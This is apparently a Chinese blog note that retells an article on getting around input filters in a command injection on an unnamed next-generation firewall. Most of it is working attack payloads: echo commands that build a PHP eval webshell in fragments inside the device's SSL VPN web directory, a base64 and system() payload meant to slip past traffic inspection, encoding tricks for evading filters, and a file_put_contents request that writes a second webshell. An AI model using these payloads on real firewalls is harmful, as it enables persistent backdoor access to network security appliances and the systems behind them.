来自华顺信安的一篇文章,绕过某下一代防火墙做的操作,其中提到的限制如下:
1. 无法注入分号截断命令
2. 无法使用 `|| &&` 等特殊符号
3. 想要通过 echo 写入文件时,`>>` 追加写入的方式,不可以,`> `会被截断
4. 较长的 PHP 代码部分,都无法被传入,无法正常解析,需要分段截取写入
5. 传入命令时,需要对特殊字符进行 url 编码
那么如何绕过>>
追加写入方式被截断这件事呢,给出了这样的payload
echo -e -n \"<?php \" > /fwlib/sys/virus/webui/svpn_html/1.txt
echo -e -n \"eval\" > /fwlib/sys/virus/webui/svpn_html/2.txt
echo -e -n '($_POST[\"pass' > /fwlib/sys/virus/webui/svpn_html/3.txt
echo -e -n '\"])' > /fwlib/sys/virus/webui/svpn_html/4.txt
echo -e -n \" ?>\" > /fwlib/sys/virus/webui/svpn_html/5.txt
cat /fwlib/sys/virus/webui/svpn_html/1.txt /fwlib/sys/virus/webui/svpn_html/2.txt /fwlib/sys/virus/webui/svpn_html/3.txt /fwlib/sys/virus/webui/svpn_html/4.txt /fwlib/sys/virus/webui/svpn_html/5.txt> /fwlib/sys/virus/webui/svpn_html/xxx.php
确实厉害啊...这个我没能想到
其次对于这个初始化的Webshell
在流量侧并不能通过,于是给出了几个解决方案
echo system($_POST[1]("cHdk"));&1=base64_decode
还提到,如果有+
号,需要URL编码一下,如果以=
或者==
结尾,那么就要在等于符号
后面再加一个空格,不会存在解析问题,而且还能绕过,很好的Tips
Webshell连接
pass= $_POST[1]($_POST[2],$_POST[3]($_POST[4]));&1=file_put_contents&2=webshell名称.php&3=base64_decode&4=<webshell内容>
这里有个细节:在pass=后面是有一个空格存在的,原因原文有说
https://mp.weixin.qq.com/s?__biz=MzI4MzcwNTAzOQ==&mid=2247535253&idx=1&sn=a63da635da47e36d7a285a69fff6f365